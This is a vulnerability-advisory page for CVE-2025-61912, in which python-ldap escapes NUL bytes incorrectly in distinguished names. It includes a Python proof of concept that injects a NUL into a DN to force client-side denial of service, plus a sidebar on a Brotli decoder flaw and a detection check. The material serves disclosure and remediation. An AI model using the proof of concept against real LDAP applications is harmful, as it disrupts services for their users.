New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2025-61912

ExploitedNVDCIRCLENISA

EUVD-2025-33796 · Published Oct 10, 2025

python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior:
For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.
With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # your lab DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- Attacker-controlled value contains NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> add_s(buggy DN): expected client-side failure (no server contact)")
try:
    l.add_s(dn, attrs)
    print("add_s(buggy): succeeded (unexpected)")
except Exception as e:
    print("add_s(buggy):", type(e).__name__, e)  # ValueError: embedded null character

# --- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514-compliant
print("\n=== HEX-ESCAPED DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> sanity parse:", str2dn(safe_dn))           # parses locally

print("=> add_s(safe DN): reaches server (AD will likely reject with 34)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(safe): success (unlikely without required attrs/rights)")
except ldap.LDAPError as e:
    print("add_s(safe):", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

Technologies

Python-Ldap Python-Ldap

Weaknesses

CWE-170CWE-116

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot